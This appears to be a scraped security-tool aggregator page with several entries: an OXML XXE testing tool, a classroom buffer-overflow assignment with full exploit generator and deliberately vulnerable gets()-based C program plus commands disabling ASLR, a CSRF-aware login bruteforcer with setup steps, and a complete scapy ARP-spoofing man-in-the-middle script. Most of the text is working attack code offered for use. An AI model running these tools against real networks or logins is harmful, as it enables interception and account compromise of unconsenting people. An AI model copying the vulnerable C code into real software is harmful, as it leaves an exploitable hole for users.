+Testing Cheatsheet
— Classic (X)XE in OXML
— Canary Testing DTD and XE
— XSS XE testing (CDATA/plain/attr)
— XE LFI
— Embedded (X)XE attacks
— SSRF (X)XE
— “Save As” Document Conversion

Download : oxml_xxe.zip (1.09 MB)  | Clone Url
Source : https://github.com/BuffaloWill

Buffer Overflow Attack to run unreachable code.

$
0
0

The attak-string program wil generate a string used to cause a buffer overflow in a vulnerable program and have it to call a function. Based on the buffer size in the porgram, the attack program will generate enough characters to fill the buffer and the saved frame pointer. The program then will add the address of the target function to the end of the attack string, overriding the return address of the current function. When the vulnerable program runs with the attack string as nut, it will call the target function at the return. The address will be generated based on the endianness of the machine.

Example Demo htaexploit

Example Demo htaexploit

Installation and Usage:
Step 1:
Use the vulnerable source code at the end of the assignment. Compile it with:
gcc ./vuln_program.c -fno-stack-protector -z execstack -static -o vuln_program

Step 2: Disable protections on your VM (use a 32 bit VM)
To make your job easier, you should disable address space layout randomization (ASLR). On Ubuntu-based systems, run the following command:
sudo sysctl -w kernel.randomize_va_space=0

If you are working on a RedHat-based system (e.g., RHE or Fedora), you will also need to disable Execshield, as follows:
sudo sysctl -w kernel.exec-shield=0

Step 3: Crash the program.
Run the program vuln_program and provide a long input to cause it to crash. How long an input do you need? You can use the source code to analyze why that makes sense. You may also want to use “objdump -D ./vuln_program” or gdb to figure it out.
This article may be of help: Examining a Buffer Overflow in C and assembly with gdb. You may also find this gdb cheat sheet helpful.

Step 4: Exploit the overflow
Now that you understand what’s going on, write an exploit that, instead of causing a crash, causes the program to print out “Haha! I made it!”. There’s an existing function target in the executable that prints this. So all you need to do is use the buffer overflow to overwrite return address on the stack to point to target’s address.
In your program, you will need to write a separate program to generate the attack string into a file, say, “attack.input”. You then run the program as “./vuln-program < ./attack.input” to see whether you can exploit the code to print “Haha! I made it!” without crashing the program.

You can choose any programming language for this assignment, as long as it generates the attack string correctly. You will need to submit a separate readme file that describes the details about why that specific attack string is chosen. We will hand out submission guidelines later.
In your submission, you will need to provide the program that generates the attack string. Given that the address of the target function is X, your program runs as “./attack-string X > ./attack.input”, which generates the attack string to file attack.input. If your hack string is correct, the message “Haha! I made it!” will be printed without crashing the program.

Grading: You will need to come to my office to demonstrate the attack within five minutes, using the code you have submitted at Blackboard. Each extra minute will cost you five points. You will have to finish the attack within 15 minutes.

attack-string.cpp Script:

/* Disabling address space layout randomization (ASLR)
 * command:
 * sudo sysctl -w kernel.randomize_va_space=0
 * 
 * To analyze, use GDB or the command:
 * objdump -D ./vuln_program
 */

// On buf size 100
// char limit tested on this computer: 112 char - seg fault
//                                   : 111 char - okay

#include <iostream>
#include <sstream>

#define BUF_SIZE 100

int main(int argc, char *argv[]){

  if(argc > 2){
    std::cout << "Only first argument \"" << argv[1] << "\" will be taken\n";
  }else if(argc < 2){
    std::cout << "Need to give address of target function\n";
    std::cout << "Terminating program\n";
    return 0;
  }

  unsigned char ret[4];

  std::string trgt_addr = argv[1];
  std::string atk_name = "attack.input";
  std::string atk_str = "";
  int buffer = BUF_SIZE + (BUF_SIZE % 8) + (4 - (BUF_SIZE % 8)) + 8;

  auto it = trgt_addr.begin();
  int idx;
  for(it = trgt_addr.begin(), idx = 0; it < trgt_addr.end(); it+=2, idx++){
    std::string hex_rep = "";
    std::stringstream s;
    int hex;

    hex_rep.push_back(*it);
    hex_rep.push_back(*(it+1));
    s << hex_rep;
    s >> std::hex >> hex;
    ret[idx] = hex;
  }

  for(int i = 0;i<buffer;i++) atk_str += 'A';
  printf("%s", atk_str.c_str());

  int n = 1;
  // little endian if true
  if(*(char *)&n == 1){
    printf("%c%c%c%c", ret[3], ret[2], ret[1], ret[0]); 
  }else{
    printf("%c%c%c%c", ret[0], ret[1], ret[2], ret[3]);
  }

  return 0;
}

vuln_program.c Script:

#include <stdio.h>
#include <stdlib.h>

static int x = 8;

void prompt(){
	char buf[100];

	gets(buf);
	printf("You entered: %s\n", buf);

}

int main(){
	prompt();

	return 0;
}

void target(){
	printf("Haha! I made it!\n");
	exit(0);
}

Source: https://github.com/TakLun

NodeJS HTTP(S) Login Form Bruteforcer.

$
0
0

A number of great open source bruteforce tools exist. However they are not able to handle the nonce-based CSRF protection embedded into Rails and Django. This tool addresses this by first grabbing the CSRF token from the login page and then sending a login POST request. It comes pre-configured for Rails Devise and Django Admin interface and supports custom configuration for other variations. An option to set the maximum number of concurrent requests prevents overloading the target server.

Node-Bruteforce -Usage

Node-Bruteforce -Usage

Custom Configuration:
Rails Devise and Django Admin default login screens are supported by default through the -T flag. In case some settings have been modified or for applications with a similar set up, users can create a custom config file to use through the -c flag. See the template for a skeleton config to get started.
Setup:

$ git clone git@github.com:foxjerem/node-bruteforce.git
  $ cd node-bruteforce
  $ chmod 755 run.js
  $ npm install -g
  $ node-bruteforce

Source : https://github.com/ministryofjustice

Scapyarpspoof is a Simple effective and useful ARP spoofer script with scapy.

$
0
0

scapyarpspoof is a Simple effective and useful ARP spoofer script with scapy.
This will arpspoof x.x.x.5 on your network sending requests to the target and replies to the router. Classic MiTM using ARP packets.

Usage:

Usage

This Script run Smoothly on Ubuntu, All Debian, Arch Linux, Kali-Sana.

Example Attack

Example Attack

arpspoof.py Script:

#!/usr/bin/env python
#
# arpspoof.py - simple effective scapy ARP spoofer
#  thed4rkcat@yandex.com
#
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 2 of the License, or
## (at your option) any later version.
#
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License at (http://www.gnu.org/licenses/) for
## more details.

from netifaces import gateways, AF_INET, AF_LINK, ifaddresses
from scapy.all import *
from time import sleep
from os import popen
from re import match
from argparse import ArgumentParser

def fvalidip(ip):
	if match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",ip):
		return ip
	else:
		return False

def fvalidmac(mac):
	if match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", mac.lower()):
		return mac
	else:
		return False

def fgetmac(ip):
	popen('ping %s -c 1' % ip).read()
	mac = popen("arp -a | grep '(%s)' | cut -d 't' -f 2 | cut -d ' ' -f 2" %(ip)).read().strip()
	return fvalidmac(mac)

def fownmac():
	def_gw_device = gateways()['default'][AF_INET][1]
	mac = ifaddresses(def_gw_device)[AF_LINK][0]['addr']
	return fvalidmac(mac)

def ffix():
	for target in targetlist:
		targetip = target[0]
		targetmac = target[1]
		resettarget=ARP(op=1,psrc=routerip,pdst=targetip,hwdst=targetmac, hwsrc=routermac)
		resetrouter=ARP(op=2,psrc=targetip,pdst=routerip,hwdst=routermac, hwsrc=targetmac)
		send(resetrouter, count=4, verbose=False)
		send(resettarget, count=4, verbose=False)
		print ' [*] Fixed ARP tables for %s' % targetip
	if not args.mac:
		popen("echo 0 > /proc/sys/net/ipv4/ip_forward").read()

parser = ArgumentParser(prog='arpspoof', usage='./arpspoof.py [options]')
parser.add_argument('-t', "--targets", type=str, help='Target IP extensions eg. 13,215,23')
parser.add_argument('-m', "--mac", type=str, help='Spoof to user defined MAC.')
parser.add_argument('-r', "--replies", action="store_true", help='Use ARP replies instead of requests.')
parser.add_argument('-n', "--norouter", action="store_true", help='Only poison the target, not the router.')
parser.add_argument('-f', "--nofix", action="store_true", help="Don't fix ARP tables after poison.")
args = parser.parse_args()
ismitm = ''

routerip = gateways()['default'].values()[0][0]
if fvalidip(routerip):
	network = '.'.join(routerip.split('.')[:3])
else:
	print " [X] Error detecting the router IP, got: %s" % routerip
	exit()

try:
	targets = args.targets.split(',')
except:
	parser.print_help()
	exit()

routermac = fgetmac(routerip)
if routermac:
	print " [*] Detected router: %s (%s)" % (routerip, routermac)
else:
	print " [X] Error detecting the router MAC, got: %s" % routermac
	exit()
	
ownmac = fownmac()
if not ownmac:
	print " [X] Error detecting our own MAC, got: %s" % ownmac
	exit()

if args.mac:
	spoofmac = args.mac
	if not fvalidmac(spoofmac):
		print " [X] Your user defined spoof MAC is not valid, got: %s" % spoofmac
		exit()
else:
	spoofmac = ownmac
	popen("echo 1 > /proc/sys/net/ipv4/ip_forward").read()
	ismitm = ' (MiTM)'

targetlist = []
for target in targets:
	targetip = '%s.%s' % (network, target)
	targetmac = fgetmac(targetip)
	if targetmac:
		print " [*] Detected target: %s (%s)" % (targetip, targetmac)
		targetlist.append([targetip, targetmac])
	else:
		print ' [X] Error: No MAC for %s found, skipping' % (targetip)

if args.replies:
	targetop = 2
	print " [*] Using ARP replies."
else:
	targetop = 1
	print " [*] Using ARP requests."

print " [*] Spoofing to: %s%s" % (spoofmac, ismitm)
print " [*] Attacking."

try:
	while True:
		for target in targetlist:
			targetip = target[0]
			targetmac = target[1]
			poisontarget=ARP(op=targetop,psrc=routerip,pdst=targetip,hwdst=targetmac, hwsrc=spoofmac)
			poisonrouter=ARP(op=2,psrc=targetip,pdst=routerip,hwdst=routermac, hwsrc=spoofmac)
			if args.norouter:
				send(poisontarget, verbose=False)
			else:
				send(poisonrouter, verbose=False)
				send(poisontarget, verbose=False)

		sleep(1.5)

except:
	print
	if args.nofix:
		print ' [*] Leaving ARP tables poisoned..'
	else:
		print ' [*] Fixing ARP tables..'
		ffix()

Source : https://github.com/d4rkcat

Viewing all 62 articles
Browse latest View live